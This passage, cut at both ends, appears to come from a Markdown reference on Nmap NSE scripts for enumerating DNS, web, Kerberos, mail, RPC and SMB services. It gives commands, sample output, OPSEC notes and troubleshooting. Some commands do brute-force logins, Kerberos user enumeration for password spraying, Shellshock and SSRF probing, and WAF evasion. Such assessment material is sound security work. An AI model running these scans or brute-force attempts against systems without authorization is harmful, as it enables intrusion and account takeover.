may be vulnerable +> 21. **Strange ports**: SMTP on non-standard ports may indicate malware + +--- + +## Port 53 - DNS (Domain Name System) + +> [!info]+ [DNS Service Overview](https://www.cloudflare.com/learning/dns/what-is-dns/) +> Domain Name System translates domain names to IP addresses. Critical infrastructure service. Zone transfers, subdomain enumeration, recursion testing, and cache snooping reveal network topology and misconfigurations. + +**Key NSE Scripts for DNS**: + +> [!info]+ DNS Enumeration Scripts +> 1. **[dns-zone-transfer](https://nmap.org/nsedoc/scripts/dns-zone-transfer.html)**: Attempts AXFR zone transfer +> 2. **[dns-brute](https://nmap.org/nsedoc/scripts/dns-brute.html)**: Subdomain brute forcing +> 3. **[dns-recursion](https://nmap.org/nsedoc/scripts/dns-recursion.html)**: Tests for open DNS resolver +> 4. **[dns-service-discovery](https://nmap.org/nsedoc/scripts/dns-service-discovery.html)**: Discovers services via DNS-SD/mDNS +> 5. **[dns-nsid](https://nmap.org/nsedoc/scripts/dns-nsid.html)**: Retrieves DNS server identity +> 6. **[dns-cache-snoop](https://nmap.org/nsedoc/scripts/dns-cache-snoop.html)**: Checks DNS cache for specific domains +> 7. **[dns-nsec-enum](https://nmap.org/nsedoc/scripts/dns-nsec-enum.html)**: Enumerates DNSSEC NSEC records +> 8. **[dns-nsec3-enum](https://nmap.org/nsedoc/scripts/dns-nsec3-enum.html)**: Enumerates DNSSEC NSEC3 records +> 9. **[dns-random-srcport](https://nmap.org/nsedoc/scripts/dns-random-srcport.html)**: Checks for source port randomization +> 10. **[dns-random-txid](https://nmap.org/nsedoc/scripts/dns-random-txid.html)**: Checks for transaction ID randomization + +```bash +# Attempt DNS zone transfer +nmap -p53 --script=dns-zone-transfer --script-args dns-zone-transfer.domain=example.com <target> + +# Subdomain brute force +nmap --script=dns-brute --script-args dns-brute.domain=example.com <target> + +# Subdomain brute with custom wordlist +nmap --script=dns-brute --script-args dns-brute.domain=example.com,dns-brute.hostlist=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt <target> + +# Subdomain brute with thread control +nmap --script=dns-brute --script-args dns-brute.domain=example.com,dns-brute.threads=10 --script-timeout=30m <target> + +# Check for open DNS resolver +nmap -sU -p53 --script=dns-recursion <target> + +# DNS service discovery (multicast DNS) +nmap -p53 --script=dns-service-discovery <target> + +# DNS server identification +nmap -p53 --script=dns-nsid <target> + +# DNS cache snooping +nmap -sU -p53 --script=dns-cache-snoop --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={google.com,facebook.com,example.com}' <target> + +# DNSSEC NSEC enumeration +nmap -p53 --script=dns-nsec-enum --script-args dns-nsec-enum.domains=example.com <target> + +# Check DNS security (randomization) +nmap -sU -p53 --script=dns-random-srcport,dns-random-txid <target> + +# Comprehensive DNS assessment (both UDP and TCP) +nmap -sU -sS -p53 --script="dns-* and not brute" <target> + +# Internal DNS server enumeration +nmap -sU -p53 --script=dns-recursion,dns-nsid --script-args dns-nsid.identifier=version.bind <target> +``` + +> [!info]+ Command Breakdown: DNS Enumeration +> 1. **dns-zone-transfer.domain**: Target domain for AXFR request +> 2. **dns-brute.threads**: Parallelization (default 5, increase for speed, decrease for stealth) +> 3. **dns-brute.hostlist**: Custom subdomain wordlist path +> 4. **dns-cache-snoop.mode=timed**: Uses timing to detect cached vs uncached queries +> 5. **DNS requires both UDP and TCP**: Use `-sU -sS` for comprehensive scanning +> 6. **dns-nsid.identifier**: Custom NSID query (version.bind reveals BIND version) + +> [!success]+ Expected DNS Output +> ``` +> PORT STATE SERVICE +> 53/udp open domain +> | dns-zone-transfer: +> | example.com. SOA ns1.example.com. admin.example.com. +> | example.com. NS ns1.example.com. +> | example.com. NS ns2.example.com. +> | example.com. A 192.0.2.1 +> | www.example.com. A 192.0.2.2 +> | mail.example.com. A 192.0.2.3 +> | ftp.example.com. A 192.0.2.4 +> | dev.example.com. A 192.0.2.10 +> | admin.example.com. A 192.0.2.11 +> |_ vpn.example.com. A 192.0.2.20 +> | dns-brute: +> | DNS Brute-force hostnames: +> | www.example.com - 192.0.2.2 +> | mail.example.com - 192.0.2.3 +> | ftp.example.com - 192.0.2.4 +> | dev.example.com - 192.0.2.10 +> | admin.example.com - 192.0.2.11 +> | vpn.example.com - 192.0.2.20 +> | staging.example.com - 192.0.2.30 +> |_ test.example.com - 192.0.2.40 +> | dns-recursion: Recursion appears to be enabled +> ``` + +> [!warning]+ DNS OPSEC Considerations +> 1. **Zone transfer attempts**: Always logged by DNS servers, often triggers security alerts +> 2. **dns-brute visibility**: Generates hundreds to thousands of queries, extremely obvious +> 3. **Query logging**: All DNS servers log queries (standard operational practice) +> 4. **Rate limiting**: Excessive queries trigger rate limiting or blocking +> 5. **Sequential patterns**: Brute force creates distinctive sequential query patterns + +> [!failure]+ Common DNS Issues +> 6. **Zone transfer denied**: Expected result on properly configured servers +> - Solution: Modern DNS security best practice restricts AXFR to authorized secondaries +> 7. **dns-brute timeout**: Large wordlists timeout on default 5-minute script timeout +> - Solution: Increase with `--script-timeout=30m`, reduce threads +> 8. **UDP packet loss**: DNS over UDP may drop packets on congested networks +> - Solution: Reduce threads, try TCP zone transfer +> 9. **No response**: Firewall blocking UDP 53 or DNS server not recursive +> - Solution: Verify port accessibility with basic UDP scan + +> [!tip]+ DNS Security Assessment Best Practices +> 10. **Zone transfer**: Exposes complete DNS zone (all subdomains, internal IPs) +> 11. **Open resolver**: Allows DNS amplification DDoS attacks +> 12. **Cache snooping**: Privacy violation, reveals browsing history +> 13. **Subdomain discovery**: Reveals dev/staging/admin environments +> 14. **DNSSEC validation**: Modern security feature, enumerate with NSEC/NSEC3 + +> [!example]+ DNS Wordlists for Subdomain Enumeration +> 15. `/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt` - Top 5000 common subdomains +> 16. `/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt` - Top 20000 subdomains +> 17. `/usr/share/seclists/Discovery/DNS/fierce-hostlist.txt` - Fierce DNS scanner default wordlist +> 18. `/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt` - Comprehensive 100k list +> 19. `/usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt` - Jason Haddix's all-sources wordlist + +--- + +## Port 80/443/8080/8443 - HTTP/HTTPS (Web Services) + +> [!info]+ [HTTP/HTTPS Service Overview](https://developer.mozilla.org/en-US/docs/Web/HTTP) +> Hypertext Transfer Protocol and its encrypted variant HTTPS. Most common internet protocol. Web application enumeration, vulnerability detection, SSL/TLS analysis. Ports 8080/8443 commonly used for alternative web services, proxies, or application servers. + +**Key NSE Scripts for HTTP/HTTPS**: + +> [!info]+ HTTP/HTTPS Enumeration Scripts +> **Information Gathering**: +> 1. **[http-enum](https://nmap.org/nsedoc/scripts/http-enum.html)**: Directory and file enumeration +> 2. **[http-headers](https://nmap.org/nsedoc/scripts/http-headers.html)**: HTTP response headers +> 3. **[http-methods](https://nmap.org/nsedoc/scripts/http-methods.html)**: Supported HTTP methods +> 4. **[http-title](https://nmap.org/nsedoc/scripts/http-title.html)**: HTML page title extraction +> 5. **[http-robots.txt](https://nmap.org/nsedoc/scripts/http-robots.txt.html)**: Robots.txt retrieval +> 6. **[http-sitemap-generator](https://nmap.org/nsedoc/scripts/http-sitemap-generator.html)**: Crawls and generates sitemap +> 7. **[http-server-header](https://nmap.org/nsedoc/scripts/http-server-header.html)**: Server header extraction +> 8. **[http-generator](https://nmap.org/nsedoc/scripts/http-generator.html)**: Detects CMS/framework from meta generator tag +> +> **Authentication Testing**: +> 1. **[http-auth](https://nmap.org/nsedoc/scripts/http-auth.html)**: Authentication scheme enumeration +> 2. **[http-brute](https://nmap.org/nsedoc/scripts/http-brute.html)**: HTTP Basic/Digest brute force +> 3. **[http-default-accounts](https://nmap.org/nsedoc/scripts/http-default-accounts.html)**: Default credential testing +> 4. **[http-form-brute](https://nmap.org/nsedoc/scripts/http-form-brute.html)**: HTML form brute force +> 5. **[http-wordpress-brute](https://nmap.org/nsedoc/scripts/http-wordpress-brute.html)**: WordPress credential brute force +> +> **Vulnerability Detection**: +> 6. **[http-shellshock](https://nmap.org/nsedoc/scripts/http-shellshock.html)**: CVE-2014-6271 Bash vulnerability +> 7. **[http-sql-injection](https://nmap.org/nsedoc/scripts/http-sql-injection.html)**: SQL injection detection +> 8. **[http-stored-xss](https://nmap.org/nsedoc/scripts/http-stored-xss.html)**: Stored XSS detection +> 9. **[http-csrf](https://nmap.org/nsedoc/scripts/http-csrf.html)**: CSRF vulnerability detection +> 10. **[http-phpself-xss](https://nmap.org/nsedoc/scripts/http-phpself-xss.html)**: PHP_SELF XSS +> 11. **[http-vuln-cve2017-5638](https://nmap.org/nsedoc/scripts/http-vuln-cve2017-5638.html)**: Apache Struts2 RCE +> 12. **[http-vuln-cve2015-1635](https://nmap.org/nsedoc/scripts/http-vuln-cve2015-1635.html)**: IIS RCE +> 13. **[http-vuln-cve2013-7091](https://nmap.org/nsedoc/scripts/http-vuln-cve2013-7091.html)**: Zimbra LFI +> 14. **[http-vuln-cve2014-3704](https://nmap.org/nsedoc/scripts/http-vuln-cve2014-3704.html)**: Drupal SQL injection +> 15. **[http-vuln-cve2017-1001000](https://nmap.org/nsedoc/scripts/http-vuln-cve2017-1001000.html)**: WordPress 4.7.0/4.7.1 privilege escalation +> +> **Configuration Analysis**: +> 16. **[http-security-headers](https://nmap.org/nsedoc/scripts/http-security-headers.html)**: Security header analysis +> 17. **[http-config-backup](https://nmap.org/nsedoc/scripts/http-config-backup.html)**: Backup file detection +> 18. **[http-apache-server-status](https://nmap.org/nsedoc/scripts/http-apache-server-status.html)**: Apache status page access +> 19. **[http-apache-negotiation](https://nmap.org/nsedoc/scripts/http-apache-negotiation.html)**: Apache content negotiation +> 20. **[http-git](https://nmap.org/nsedoc/scripts/http-git.html)**: Exposed .git directory detection +> 21. **[http-svn-enum](https://nmap.org/nsedoc/scripts/http-svn-enum.html)**: SVN repository enumeration +> 22. **[http-backup-finder](https://nmap.org/nsedoc/scripts/http-backup-finder.html)**: Backup file discovery +> +> **CMS/Application Specific**: +> 23. **[http-wordpress-enum](https://nmap.org/nsedoc/scripts/http-wordpress-enum.html)**: WordPress enumeration +> 24. **[http-wordpress-users](https://nmap.org/nsedoc/scripts/http-wordpress-users.html)**: WordPress user enumeration +> 25. **[http-joomla-brute](https://nmap.org/nsedoc/scripts/http-joomla-brute.html)**: Joomla brute force +> 26. **[http-drupal-enum](https://nmap.org/nsedoc/scripts/http-drupal-enum.html)**: Drupal enumeration +> 27. **[http-frontpage-login](https://nmap.org/nsedoc/scripts/http-frontpage-login.html)**: FrontPage admin interface +> +> **Cloud/SSRF**: +> 28. **[http-aws-metadata](https://nmap.org/nsedoc/scripts/http-aws-metadata.html)**: AWS metadata SSRF +> 29. **[http-azure-metadata](https://nmap.org/nsedoc/scripts/http-azure-metadata.html)**: Azure metadata SSRF + +> [!info]+ SSL/TLS Specific Scripts (Port 443/8443) +> 30. **[ssl-cert](https://nmap.org/nsedoc/scripts/ssl-cert.html)**: SSL certificate details +> 31. **[ssl-enum-ciphers](https://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html)**: Cipher suite enumeration and grading +> 32. **[ssl-heartbleed](https://nmap.org/nsedoc/scripts/ssl-heartbleed.html)**: CVE-2014-0160 Heartbleed +> 33. **[ssl-poodle](https://nmap.org/nsedoc/scripts/ssl-poodle.html)**: CVE-2014-3566 POODLE +> 34. **[ssl-ccs-injection](https://nmap.org/nsedoc/scripts/ssl-ccs-injection.html)**: CVE-2014-0224 CCS injection +> 35. **[ssl-dh-params](https://nmap.org/nsedoc/scripts/ssl-dh-params.html)**: Diffie-Hellman parameter analysis +> 36. **[ssl-known-key](https://nmap.org/nsedoc/scripts/ssl-known-key.html)**: Compromised key detection +> 37. **[ssl-date](https://nmap.org/nsedoc/scripts/ssl-date.html)**: System time from TLS handshake + +```bash +# Safe HTTP enumeration +nmap -sV -p80,443,8080,8443 --script=http-title,http-headers,http-methods,http-robots.txt,http-server-header <target> + +# Directory and file enumeration (noisy) +nmap -p80,443 --script=http-enum <target> + +# HTTP enumeration with virtual host +nmap -p80 --script=http-enum --script-args http.host=example.com <target> + +# Security headers analysis +nmap -p443 --script=http-security-headers <target> + +# HTTP methods testing (PUT, DELETE, TRACE) +nmap -p80 --script=http-methods --script-args http-methods.url-path=/upload <target> + +# Shellshock vulnerability +nmap -p80 --script=http-shellshock --script-args uri=/cgi-bin/status,cmd=ls <target> + +# SQL injection detection +nmap -p80 --script=http-sql-injection --script-args http-sql-injection.maxdepth=3 <target> + +# XSS vulnerability detection +nmap -p80 --script=http-stored-xss,http-phpself-xss <target> + +# Web application vulnerability scan +nmap -p80,443 --script=http-vuln-* <target> + +# Default credential testing +nmap -p80 --script=http-default-accounts <target> + +# HTTP Basic/Digest brute force +nmap -p80 --script=http-brute --script-args http-brute.path=/admin/ <target> + +# WordPress enumeration +nmap -p80,443 --script=http-wordpress-enum --script-args search-limit=100 <target> + +# WordPress user enumeration +nmap -p80 --script=http-wordpress-users <target> + +# Exposed Git repository +nmap -p80,443 --script=http-git <target> + +# Backup file discovery +nmap -p80 --script=http-backup-finder,http-config-backup <target> + +# Apache server-status page +nmap -p80 --script=http-apache-server-status <target> + +# AWS metadata SSRF +nmap -p80 --script=http-aws-metadata --script-args http-aws-metadata.uri=/redirect?url= <target> + +# SSL/TLS certificate extraction +nmap -p443,8443 --script=ssl-cert <target> + +# SSL/TLS cipher enumeration and grading +nmap -p443 --script=ssl-enum-ciphers <target> + +# SSL/TLS vulnerability assessment +nmap -p443 --script=ssl-heartbleed,ssl-poodle,ssl-ccs-injection,ssl-dh-params <target> + +# Comprehensive HTTP enumeration (safe) +nmap -sV -p80,443,8080,8443 --script="http-* and safe" <target> + +# Comprehensive HTTPS assessment +nmap -sV -p443,8443 --script="(http-* or ssl-*) and not brute" <target> + +# Web application security audit +nmap -sV -p80,443 --script="http-enum,http-vuln-*,http-config-backup,http-git,http-security-headers" <target> + +# Custom user agent +nmap -p80 --script=http-enum --script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" <target> + +# HTTP proxy through specific port +nmap -p8080 --script=http-open-proxy <target> +``` + +> [!info]+ Command Breakdown: HTTP/HTTPS Enumeration +> 1. **http.host**: Virtual host specification for shared hosting environments +> 2. **http.useragent**: Custom User-Agent header (WAF evasion, mobile testing) +> 3. **http-methods.url-path**: Specific path to test methods (upload directories) +> 4. **http-sql-injection.maxdepth**: How many links deep to crawl +> 5. **http-brute.path**: Authentication endpoint path +> 6. **http-aws-metadata.uri**: SSRF-vulnerable parameter or endpoint +> 7. **tls.servername**: SNI for HTTPS virtual hosting + +> [!success]+ Expected HTTP/HTTPS Output +> ``` +> PORT STATE SERVICE VERSION +> 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) +> |_http-title: Welcome to Example.com +> | http-headers: +> | Date: Sat, 25 Jan 2026 14:30:00 GMT +> | Server: Apache/2.4.29 (Ubuntu) +> | X-Powered-By: PHP/7.2.24 +> | Content-Type: text/html; charset=UTF-8 +> |_ Connection: Keep-Alive +> | http-methods: +> | Supported Methods: GET HEAD POST OPTIONS +> |_ Potentially risky methods: PUT DELETE TRACE +> | http-enum: +> | /admin/: Admin login page +> | /backup/: Backup directory +> | /config.php.bak: Configuration backup file +> | /test.php: Test file +> | /.git/: Git repository +> |_ /phpmyadmin/: phpMyAdmin +> | http-robots.txt: 5 disallowed entries +> |_/admin/ /backup/ /private/ /test/ /uploads/ +> +> 443/tcp open ssl/http Apache httpd 2.4.29 +> | ssl-cert: Subject: commonName=*.example.com/organizationName=Example Inc +> | Subject Alternative Name: DNS:*.example.com, DNS:example.com +> | Not valid before: 2025-01-01T00:00:00 +> |_Not valid after: 2026-01-01T00:00:00 +> | ssl-enum-ciphers: +> | TLSv1.2: +> | ciphers: +> | TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A +> | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A +> | compressors: +> | NULL +> | cipher preference: server +> | least strength: A +> | http-security-headers: +> | Strict-Transport-Security: max-age=31536000; includeSubDomains +> | X-Frame-Options: DENY +> | X-Content-Type-Options: nosniff +> |_ Missing headers: Content-Security-Policy, X-XSS-Protection +> | http-shellshock: +> | VULNERABLE: +> | HTTP Shellshock vulnerability +> | State: VULNERABLE (Exploitable) +> | IDs: CVE:CVE-2014-6271 +> | Check results: +> | Vulnerable CGI script: /cgi-bin/status +> ``` + +> [!warning]+ HTTP/HTTPS OPSEC Considerations +> 8. **http-enum**: Generates hundreds of 404 errors, extremely visible in access logs +> 9. **Vulnerability scripts**: Trigger WAF/IDS signatures for attack patterns +> 10. **http-brute**: Massively noisy, causes authentication failures, may lock accounts +> 11. **http-sql-injection**: Injects SQL syntax, triggers WAF blocks +> 12. **Safe scripts**: headers, methods, title, robots.txt appear as normal browsing +> 13. **Modern WAFs**: Cloudflare, AWS WAF, Imperva block most vulnerability scripts + +> [!failure]+ Common HTTP/HTTPS Issues +> 14. **WAF blocking**: HTTP 403/429 responses or connection resets +> - Solution: Reduce timing (`-T2`), customize user agent, add delays +> 15. **Virtual hosting**: Wrong Host header returns default site +> - Solution: Use `--script-args http.host=example.com` +> 16. **SSL/TLS errors**: HTTPS scripts fail without proper handshake +> - Solution: Use `-sV` or `--script-args http.ssl=true` for non-standard ports +> 17. **Timeouts**: Slow applications or WAF delays timeout scripts +> - Solution: Increase `--script-timeout=120s` +> 18. **Authentication required**: Scripts return empty results on protected resources +> - Solution: Provide credentials with http.username/http.password arguments +> 19. **http-enum false positives**: WAF may fake directory responses +> - Solution: Manually verify findings with browser or curl + +> [!tip]+ HTTP/HTTPS Security Assessment Best Practices +> 20. **Security headers**: Missing HSTS, CSP, X-Frame-Options indicate weaknesses +> 21. **Dangerous methods**: PUT, DELETE, TRACE should be disabled +> 22. **Directory listing**: Exposed directories reveal sensitive files +> 23. **Backup files**: .bak, .old, .backup files contain credentials/configs +> 24. **Version disclosure**: Server/X-Powered-By headers aid vulnerability research +> 25. **SSL/TLS grading**: Grade B or below indicates weak cryptography +> 26. **WordPress/CMS**: Outdated versions have known RCE vulnerabilities +> 27. **Git exposure**: /.git/ directory allows source code download + +> [!example]+ HTTP Script Arguments Reference +> 28. **http.host=<hostname>**: Virtual host specification +> 29. **http.useragent=<string>**: Custom User-Agent header +> 30. **http.max-pipeline=<num>**: HTTP pipelining depth +> 31. **http-brute.path=<path>**: Authentication endpoint +> 32. **http-brute.method=POST**: HTTP method for auth +> 33. **http-enum.displayall=true**: Show all tested paths +> 34. **http-sql-injection.maxdepth=<num>**: Crawl depth +> 35. **uri=<path>**: Script-specific URI path +> 36. **tls.servername=<name>**: SNI for virtual HTTPS hosts + +--- + +## Port 88 - Kerberos + +> [!info]+ [Kerberos Service Overview](https://web.mit.edu/kerberos/) +> Authentication protocol used by Active Directory and Unix systems. Port 88 TCP/UDP for Kerberos authentication. User enumeration reveals valid domain accounts without authentication. + +**Key NSE Scripts for Kerberos**: + +> [!info]+ Kerberos Enumeration Scripts +> 1. **[krb5-enum-users](https://nmap.org/nsedoc/scripts/krb5-enum-users.html)**: User account enumeration via Kerberos pre-authentication + +```bash +# Kerberos user enumeration +nmap -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm=DOMAIN.COM <dc-ip> + +# User enumeration with custom wordlist +nmap -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm=CONTOSO.LOCAL,userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt <dc-ip> + +# Enumerate common service accounts +nmap -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm=DOMAIN.COM,userdb=/usr/share/seclists/Usernames/cirt-default-usernames.txt <dc-ip> + +# Fast user enumeration (limited wordlist) +nmap -p88 --script=krb5-enum-users --script-args krb5-enum-users.realm=DOMAIN.COM,userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt <dc-ip> +``` + +> [!info]+ Command Breakdown: Kerberos Enumeration +> 1. **krb5-enum-users.realm**: Active Directory domain name (FQDN) +> 2. **userdb**: Username wordlist path +> 3. *Script distinguishes valid from invalid users via Kerberos error codes* +> 4. *KRB5KDC_ERR_PREAUTH_REQUIRED = valid user* +> 5. *KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN = invalid user* + +> [!success]+ Expected Kerberos Output +> ``` +> PORT STATE SERVICE +> 88/tcp open kerberos-sec +> | krb5-enum-users: +> | Discovered Kerberos principals: +> | administrator@CONTOSO.LOCAL +> | Administrator@CONTOSO.LOCAL +> | guest@CONTOSO.LOCAL +> | krbtgt@CONTOSO.LOCAL +> | sqlservice@CONTOSO.LOCAL +> | webadmin@CONTOSO.LOCAL +> |_ Statistics: Performed 500 guesses in 34 seconds +> ``` + +> [!warning]+ Kerberos OPSEC Considerations +> 6. **Windows Event Logs**: Pre-auth failures logged (Event ID 4768, 4771) +> 7. **Detection**: Modern monitoring tools detect user enumeration patterns +> 8. **SIEM alerts**: Multiple pre-auth failures from single IP trigger alerts +> 9. **Account lockout**: Enumeration doesn't trigger lockout (pre-auth only) +> 10. **Noise level**: Moderate - generates authentication attempts but not full logins + +> [!tip]+ Kerberos Security Assessment Notes +> 11. **User enumeration**: Reveals valid domain accounts for password spraying +> 12. **Service accounts**: Accounts ending in "service", "admin", "sql" are high-value +> 13. **Disabled accounts**: Script doesn't distinguish disabled from enabled accounts +> 14. **Case sensitivity**: Windows usernames case-insensitive, test lowercase variants +> 15. **Follow-up**: Valid users enable targeted password spraying attacks + +--- + +## Port 110/995 - POP3/POP3S (Post Office Protocol) + +> [!info]+ [POP3 Service Overview](https://en.wikipedia.org/wiki/Post_Office_Protocol) +> Email retrieval protocol. Port 110 for unencrypted POP3, 995 for POP3S (SSL/TLS). Commonly used for email client access to mailboxes. + +**Key NSE Scripts for POP3**: + +> [!info]+ POP3 Enumeration Scripts +> 1. **[pop3-capabilities](https://nmap.org/nsedoc/scripts/pop3-capabilities.html)**: Lists POP3 capabilities +> 2. **[pop3-brute](https://nmap.org/nsedoc/scripts/pop3-brute.html)**: Credential brute forcing +> 3. **[pop3-ntlm-info](https://nmap.org/nsedoc/scripts/pop3-ntlm-info.html)**: Domain disclosure via NTLM + +```bash +# POP3 capability enumeration +nmap -sV -p110,995 --script=pop3-capabilities <target> + +# POP3 NTLM information disclosure +nmap -p110,995 --script=pop3-ntlm-info <target> + +# POP3 brute force (noisy) +nmap -p110 --script=pop3-brute --script-args userdb=users.txt,passdb=pass.txt <target> + +# Comprehensive POP3 assessment +nmap -sV -p110,995 --script="pop3-* and not brute" <target> +``` + +> [!success]+ Expected POP3 Output +> ``` +> PORT STATE SERVICE VERSION +> 110/tcp open pop3 Dovecot pop3d +> | pop3-capabilities: RESP-CODES CAPA SASL PLAIN LOGIN UIDL TOP PIPELINING +> |_ Capabilities: TOP UIDL RESP-CODES CAPA SASL(PLAIN LOGIN) PIPELINING +> | pop3-ntlm-info: +> | Target_Name: MAIL +> | NetBIOS_Domain_Name: CONTOSO +> | NetBIOS_Computer_Name: MAIL01 +> | DNS_Domain_Name: contoso.local +> | DNS_Computer_Name: mail01.contoso.local +> ``` + +> [!warning]+ POP3 OPSEC Considerations +> 1. **pop3-brute**: Extremely noisy, triggers fail2ban and account lockouts +> 2. **Capability queries**: Safe, normal POP3 client behavior +> 3. **NTLM info disclosure**: Reveals internal domain names without authentication + +--- + +## Port 111 - RPCBind + +> [!info]+ [RPCBind Service Overview](https://en.wikipedia.org/wiki/Portmap) +> Remote Procedure Call port mapper. Maps RPC program numbers to network ports. Common on Unix/Linux systems. Reveals running RPC services including NFS, NIS, and other distributed services. + +**Key NSE Scripts for RPCBind**: + +> [!info]+ RPCBind Enumeration Scripts +> 1. **[rpcinfo](https://nmap.org/nsedoc/scripts/rpcinfo.html)**: Lists registered RPC services +> 2. **[nfs-showmount](https://nmap.org/nsedoc/scripts/nfs-showmount.html)**: Lists NFS exports (if NFS available) +> 3. **[nfs-ls](https://nmap.org/nsedoc/scripts/nfs-ls.html)**: Lists NFS directory contents +> 4. **[nfs-statfs](https://nmap.org/nsedoc/scripts/nfs-statfs.html)**: NFS filesystem statistics + +```bash +# RPC service enumeration +nmap -sV -p111 --script=rpcinfo <target> + +# NFS export enumeration +nmap -p111 --script=nfs-showmount <target> + +# List NFS directory contents +nmap -p111 --script=nfs-ls --script-args nfs-ls.export=/share <target> + +# NFS filesystem statistics +nmap -p111 --script=nfs-statfs <target> + +# Comprehensive RPC/NFS assessment +nmap -sV -p111,2049 --script="rpc*,nfs*" <target> +``` + +> [!success]+ Expected RPCBind Output +> ``` +> PORT STATE SERVICE VERSION +> 111/tcp open rpcbind 2-4 (RPC #100000) +> | rpcinfo: +> | program version port/proto service +> | 100000 2,3,4 111/tcp rpcbind +> | 100000 2,3,4 111/udp rpcbind +> | 100003 2,3,4 2049/tcp nfs +> | 100003 2,3,4 2049/udp nfs +> | 100005 1,2,3 20048/tcp mountd +> |_ 100005 1,2,3 20048/udp mountd +> | nfs-showmount: +> | /home 192.168.1.0/24 +> | /var/nfs * +> |_ /backups (everyone) +> ``` + +> [!tip]+ RPCBind Security Assessment Notes +> 1. **rpcinfo**: Reveals all RPC services and ports +> 2. **NFS exports**: Shows shared filesystems and access controls +> 3. **Wildcard exports**: `*` or `(everyone)` indicates world-readable shares +> 4. **Sensitive paths**: /home, /root, /etc, /backup exports critical + +--- + +## Port 135/593 - Microsoft RPC (MSRPC) + +> [!info]+ [Microsoft RPC Overview](https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page) +> Microsoft Remote Procedure Call endpoint mapper. Port 135 for RPC endpoint mapper, 593 for RPC over HTTP. Critical Windows service for DCOM, WMI, and distributed services. + +**Key NSE Scripts for MSRPC**: + +> [!info]+ MSRPC Enumeration Scripts +> 1. **[msrpc-enum](https://nmap.org/nsedoc/scripts/msrpc-enum.html)**: Enumerates MSRPC endpoints +> 2. **[smb-os-discovery](https://nmap.org/nsedoc/scripts/smb-os-discovery.html)**: OS discovery via RPC (works on 135) +> 3. **[smb-enum-domains](https://nmap.org/nsedoc/scripts/smb-enum-domains.html)**: Domain enumeration + +```bash +# MSRPC endpoint enumeration +nmap -sV -p135,593 --script=msrpc-enum <target> + +# OS discovery via RPC +nmap -p135 --script=smb-os-discovery <target> + +# Comprehensive MSRPC assessment +nmap -sV -p135,139,445,593 --script="msrpc-enum,smb-os-discovery" <target> +``` + +> [!success]+ Expected MSRPC Output +> ``` +> PORT STATE SERVICE VERSION +> 135/tcp open msrpc Microsoft Windows RPC +> | msrpc-enum: +> | Endpoints: +> | uuid: 12345778-1234-abcd-ef00-0123456789ab ncacn_ip_tcp:192.168.1.10[49152] +> | uuid: 12345778-1234-abcd-ef00-0123456789ac ncacn_ip_tcp:192.168.1.10[49153] +> |_ uuid: 12345778-1234-abcd-ef00-0123456789ad ncacn_ip_tcp:192.168.1.10[49154] +> ``` + +> [!tip]+ MSRPC Security Assessment Notes +> 1. **Endpoint mapper**: Reveals dynamic RPC ports +> 2. **High ports**: MSRPC services commonly on ports 49152-65535 +> 3. **Authentication**: Most MSRPC services require Windows credentials +> 4. **WMI**: Uses MSRPC on port 135 for remote management + +--- + +## Port 139/445 - SMB/NetBIOS (Covered in detail earlier, key reference) + +> [!info]+ SMB/NetBIOS Quick Reference +> See **SMB/Windows Service Scripts Deep Dive** section above for comprehensive coverage. Port 139 for NetBIOS session service (legacy), 445 for SMB over TCP (modern). + +**Essential SMB Commands**: +```bash +# Quick SMB enumeration +nmap -p139,445 --script=smb-os-discovery,smb-security-mode,smb-enum-shares <target> + +# EternalBlue check +nmap -p445 --script=smb-vuln-ms17-010 <target> + +# Comprehensive SMB assessment +nmap -sV -p139,445 --script="smb-* and not brute" <target> +``` + +--- + +## Port 143/993 - IMAP/IMAPS (Internet Message Access Protocol) + +> [!info]+ [IMAP Service Overview](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol) +> Email retrieval protocol with advanced features (folders, server-side search). Port 143 for unencrypted IMAP, 993 for IMAPS (SSL/TLS). More feature-rich than POP3. + +**Key NSE Scripts for IMAP**: + +> [!info]+ IMAP Enumeration Scripts +> 1. **[imap-capabilities](https://nmap.org/nsedoc/scripts/imap-capabilities.html)**: Lists IMAP capabilities +> 2. **[imap-brute](https://nmap.org/nsedoc/scripts/imap-brute.html)**: Credential brute forcing +> 3. **[imap-ntlm-info](https://nmap.org/nsedoc/scripts/imap-ntlm-info.html)**: Domain disclosure via NTLM + +```bash +# IMAP capability enumeration +nmap -sV -p143,993 --script=imap-capabilities <target> + +# IMAP NTLM information disclosure +nmap -p143,993 --script=imap-ntlm-info <target> + +# IMAP brute force (noisy) +nmap -p143 --script=imap-brute --script-args userdb=users.txt,passdb=pass.txt <target> + +# Comprehensive IMAP assessment +nmap -sV -p143,993 --script="imap-* and not brute" <target> +``` + +> [!success]+ Expected IMAP Output +> ``` +> PORT STATE SERVICE VERSION +> 143/tcp open imap Dovecot imapd +> | imap-capabilities: IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE LITERAL+ STARTTLS AUTH=PLAIN AUTH=LOGIN +> |_ Capabilities: IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN +> | imap-ntlm-info: +> | Target_Name: MAIL +> | NetBIOS_Domain_Name: CONTOSO +> | NetBIOS_Computer_Name: MAIL01 +> | DNS_Domain_Name: contoso.local +> | DNS_Computer_Name: mail01.contoso.local +> ``` + +> [!warning]+ IMAP OPSEC Considerations +> 1. **imap-brute**: Extremely noisy, triggers fail2ban and account lockouts +> 2. **Capability queries**: Safe, normal IMAP client behavior +> 3. **NTLM info 